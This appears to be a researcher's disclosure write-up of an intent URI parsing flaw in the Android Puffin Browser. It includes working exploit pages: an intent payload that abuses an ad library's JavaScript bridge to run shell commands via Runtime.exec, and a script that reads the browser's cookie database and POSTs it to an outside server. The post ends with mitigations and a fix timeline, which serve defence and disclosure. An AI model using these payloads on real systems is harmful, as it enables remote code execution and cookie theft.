As part of my research into the Intent.parseUri function, I identified that the Android version of the Puffin Browser was vulnerable to remote code execution, on 4.4.3 devices and below, and remote file disclosure, on any device, due to a number of factors including improper intent URI scheme parsing.

The parseUri function is often used by Android browsers, or Android applications with WebView components, in order to support the intent URI scheme. This functionality allows a webpage to send an intent to another activity on the mobile device (deep linking). The Chrome documentation provides the following example. When the user clicks on the link then an intent will be sent from the Chrome browser to an activity within the Zxing application.

<a href="//scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"> Take a QR code </a>

Depending on how the browser implements this functionality it may increase the attack surface of the device in two different ways.

  1. A remote attacker can send an intent to any activity within the target application that uses the parseUri function with untrusted data. It doesn’t matter whether or not the activity is exported or not. Therefore, this technique can be abused to exploit activities that would not normally be accessible and we will focus on this type of attack in this post.

  2. A remote attacker can send an intent to any exported activity in other applications installed on the device, including privileged system applications. This technique can be abused to exploit IPC vulnerabilities remotely.

Browsers attempt to prevent exploitation of this functionality by limiting which activities can be invoked. The Chrome documentation states that “only activities that have the category filter, android.intent.category.BROWSABLE are able to be invoked using this method as it indicates that the application is safe to open from the Browser.”

Older versions of the Chrome browser contained the following code, which attempted to limit invocation of only activities with the proper category filter. Also note that the component attribute is set to null to prevent the use of an explicit intent.

Intent intent = Intent.parseUri(uri); 
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);

Takeshi Terada first documented how to exploit this type of vulnerability in this white paper and noted that Chrome’s mitigation were not sufficient because they failed to filter the selector intent. If the main intent object has a selector intent, then the Android framework resolves the destination of the intent by the selector intent. Takeshi demonstrated that UXSS was possible against Chrome and bulk cookie theft was possible against Opera using these techniques in his published white paper.

Later versions of Chrome adopted stricter intent filtering (selector filtering) to prevent the attack as shown below, but other Android browsers remained vulnerable.

Intent intent = Intent.parseUri(uri);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
context.startActivityIfNeeded(intent, -1);

In order to support the intent URI scheme, the Puffin Browser executes the Intent.parseUri function with untrusted data as shown in the following code from the com.cloudmosa.puffinFree.LemonActivity. Note the code attempts to limit invocation of only activities with the proper category filter, but does not prevent the use of the selector intent. Applications typically implement this type of functionality within their implementation of the WebViewClient class.

    private boolean a(String arg5, boolean arg6) {
        Intent v2;
        boolean v0 = false;
        if(ii.a == ij.d && !arg5.startsWith("file://")) {
            try {
                v2 = Intent.parseUri(arg5, 1);
            }
            catch(Exception v1) {
                return v0;
            }

            v2.addCategory("android.intent.category.BROWSABLE");
            v2.setComponent(null);
            v2.putExtra("currentTab", arg6);
            int v3 = -1;
            try {
                if(!this.startActivityIfNeeded(v2, v3)) {
                    return v0;
                }

                this.Z.post(new ru(this));
                v0 = true;
            }
            catch(Exception v1) {
            }
        }

        return v0;
    }

Given the lack of selector intent filtering, we now know that a malicious page loaded into the Puffin browser can send an intent to any exported activity on the device, or any activity within the Puffin browser regardless of whether or not its exported. For the latter, based on reviewing the AndroidManifest.xml file, the following activities within the browser are potential targets.

.LemonActivity
com.cloudmosa.lemon_java.NativePlayerActivity
com.google.android.gms.ads.AdActivity
com.cloudmosa.puffinFree.FeedbackActivity
com.cloudmosa.puffinFree.ShareActivity
com.cloudmosa.puffinFree.UpgradeActivity
com.cloudmosa.puffinFree.PuffinAccountSignInActivity
com.cloudmosa.puffinFree.PuffinAccountVerificationActivity
com.cloudmosa.puffinFree.PuffinAccountSignedInActivity
com.admarvel.android.ads.AdMarvelActivity
com.admarvel.android.ads.AdMarvelVideoActivity
com.millennialmedia.android.MMActivity

Takeshi’s paper targeted the com.admarvel.android.ads.AdMarvelActivity activity within the Opera browser in order to conduct bulk cookie theft and this same advertisement library exists in the Puffin browser, so lets target that but go for RCE instead, since this library sets up some JavaScript interfaces as shown in the following code. This functionality could have been abused against Opera in the past (depending on the targetSdkVersion and device version), but they appear to have removed this library to address the issues that Takeshi identified.

    public void handleMessage(Message arg12) {
        String v1_3;
        o v1_1;
        AdMarvelView v5 = null;
        View v8 = this.a.findViewById(AdMarvelActivity.a);
        AdMarvelActivity v1 = this.a;
        boolean v2 = AdMarvelActivity.a(this.a) ? false : true;
        d v0 = new d(((Context)v1), v2, AdMarvelActivity.d(this.a), this.a.e, v5, ((RelativeLayout)v5), AdMarvelActivity.e(this.a));
        v0.setTag(this.a.e + "WEBVIEW");
        v0.k();
        v0.j();
        v0.addJavascriptInterface(new AdMarvelWebViewJSInterface(v0, AdMarvelActivity.e(this.a), this.a), "ADMARVEL");
        v0.addJavascriptInterface(new AdMarvelActivity$c(v0, this.a), "AndroidBridge");

So I crafted the following payload that uses the intent URI scheme to cause an intent to be sent to the com.admarvel.android.ads.AdMarvelActivity activity. If we can trick a user of the Puffin browser to load a webpage like the following then we can execute arbitrary OS commands on devices running 4.4 or older versions. Note that this activity expects an intent with an extra named url and I set the selector’s component to com.cloudmosa.puffinFree/com.admarvel.android.ads.AdMarvelActivity.

<html>
<body>
<iframe src="intent:#Intent;S.url=javascript:var%20is%3DADMARVEL.getClass().forName('java.lang.Runtime').getMethod('getRuntime'%2Cnull).invoke(null%2Cnull).exec(%5B'%2Fsystem%2Fbin%2Fsh'%2C'-c'%2C'id'%5D).getInputStream()%3Bvar%20c%3D''%3Bvar%20b%20%3D%20is.read()%3Bvar%20i%20%3D%201%3Bwhile(b%20!%3D%20-1)%7Bvar%20bString%3DString.fromCharCode(b)%3Bc%2B%3DbString%3Bb%3Dis.read()%3B%7Dalert(c);SEL;component=com.cloudmosa.puffinFree/com.admarvel.android.ads.AdMarvelActivity;end"></iframe>
</body>
</html>

The intent forces the AdMarvelActivity activity to load the following JavaScript URL into a WebView associated with the advertisement library, which happens to have a JavaScript bridge named ADMARVEL enabled. We exploit the JavaScript bridge to execute a UNIX command (id) by invoking the java.lang.Runtime.exec function via reflection.

javascript:var is=ADMARVEL.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','id']).getInputStream();var c='';var b = is.read();var i = 1;while(b != -1){var bString=String.fromCharCode(b);c+=bString;b=is.read();}alert(c);

id executed remotely on a 4.4 device…

The previous exploit works partly because the targetSdkVersion of the Puffin browser is set to 14, which means that the security mitigations put into place in Android 4.2 (API level 17) to prevent generic JavaScript interface exploitation will not work even on a 4.4.3 device. On 4.4.4 devices and 5.x devices, access via reflection to the java.lang.Object.getClass method is blocked from any JavaScript bridge, so we have to figure out a different way of exploiting the improper intent scheme parsing.

The advertisement library also allows for universal file access from file URLs in their WebViews. Therefore we can exploit this to remotely steal files from the Puffin browser data directory including the browser’s cookie database.

Enable all features…

        arg3.getSettings().setJavaScriptEnabled(true);
        arg3.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
        arg3.getSettings().setAllowFileAccess(true);
        arg3.getSettings().setUseWideViewPort(true);
        arg3.getSettings().setLoadWithOverviewMode(true);
        arg3.getSettings().setAppCacheEnabled(true);
        arg3.getSettings().setDomStorageEnabled(true);
        arg3.getSettings().setAllowFileAccessFromFileURLs(true);
        arg3.getSettings().setAllowUniversalAccessFromFileURLs(true);
        arg3.getSettings().setAllowContentAccess(true);
        arg3.getSettings().setAllowFileAccess(true);
        arg3.getSettings().setMediaPlaybackRequiresUserGesture(false);

First we load the following webpage into the Puffin Browser on an Android device.

<html>
<body>
<script>
window.setTimeout('document.location = "intent:#Intent;S.url=file:///sdcard/Download/puffinTestScript.html;SEL;component=com.cloudmosa.puffinFree/com.admarvel.android.ads.AdMarvelActivity;end";', 5000);
</script>
<iframe src="puffinDownload.php"></iframe>
</body>
</html>

The Puffin Browser loads the iframe (puffinDownload.php), which forces the browser to download a file to the SD card. Note that this requires that Puffin browser be configured to save its downloads to the device, which is the default option and no user interaction is required, as opposed to downloading files to Google Drive. The following shows the PHP script’s source code, which forces the browser to automatically download the puffinTestScript.html file to the SD card in the Downloads directory.

<?php
$filename = 'puffinTestScript.html';
header("Content-Disposition: attachment; filename=\"" . basename($filename) . "\"");
header("Content-Type: application/force-download");
header("Content-Length: " . filesize($filename));
header("Connection: close");
readfile($filename);
?>

The following shows the contents of the puffinTestScript.html file.

<html>
<body>
<script>
var request = new XMLHttpRequest();
request.open("GET","file:///data/data/com.cloudmosa.puffinFree/cookies",false);
request.send();
alert(request.responseText);
var dataToSteal=request.responseText;
request.open("POST","http://d3adend.org/c.php",false);
request.send(dataToSteal);
</script>
</body>
</html>

The following JavaScript code from the first step executes after 5 seconds.

window.setTimeout('document.location = "intent:#Intent;S.url=file:///sdcard/Download/puffinTestScript.html;SEL;component=com.cloudmosa.puffinFree/com.admarvel.android.ads.AdMarvelActivity;end";', 5000);

An intent is sent to the com.admarvel.android.ads.AdMarvelActivity activity that forces the downloaded HTML file (on the SD card) to be loaded into the advertisement library’s WebView. Given that allowUniversalAccessFromFileURLs attribute was set to true in this WebView, the loaded HTML/JavaScript code from the puffinTestScript.html file has the ability to access any file that the Puffin Browser has access to and can send this file to a remote server. We use this technique to steal the cookies database (/data/data/com.cloudmosa.puffinFree/cookies) to achieve bulk cookie theft.

Cookies database acquired remotely on a 5.1 device…

Mitigations

If supporting the intent URI scheme is required then the following steps can be taken. All three steps must be taken otherwise a remote attacker is able to force the victim’s browser to send an intent to any activity within the target application or send an intent to any exported activity in other packages installed on the device.

  1. Add the android.intent.category.BROWSABLE category to the intent.

  2. Set the component to null.

  3. Set the selector to null.

The following code provides an example to show how to filter in a stricter fashion as shown before.

Intent intent = Intent.parseUri(uri);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
context.startActivityIfNeeded(intent, -1);

While performing this type of intent filtering is certainly an improvement, changes to the Android operating system, such as changes to the Intent’s parseUri function, could cause Android browsers to be vulnerable to similar attacks in the future (again). For example, the selector intent functionality was added in API level 15 and introduced security vulnerabilities in browsers, and likely other applications, that were already performing component and category filtering. Therefore, if you are not willing to maintain this type of blacklist, then the safest option is not to use the parseUri function with untrusted data.

Disclosure

  • 9/23/15 - Vulnerability disclosed in version 4.3.0.1852.

  • 10/4/2015 - Puffin Browser updated to address issue (version 4.6.0.2036 performs selector intent filtering now). Although the problematic advertisement library is still present.

Coffee mugs for all…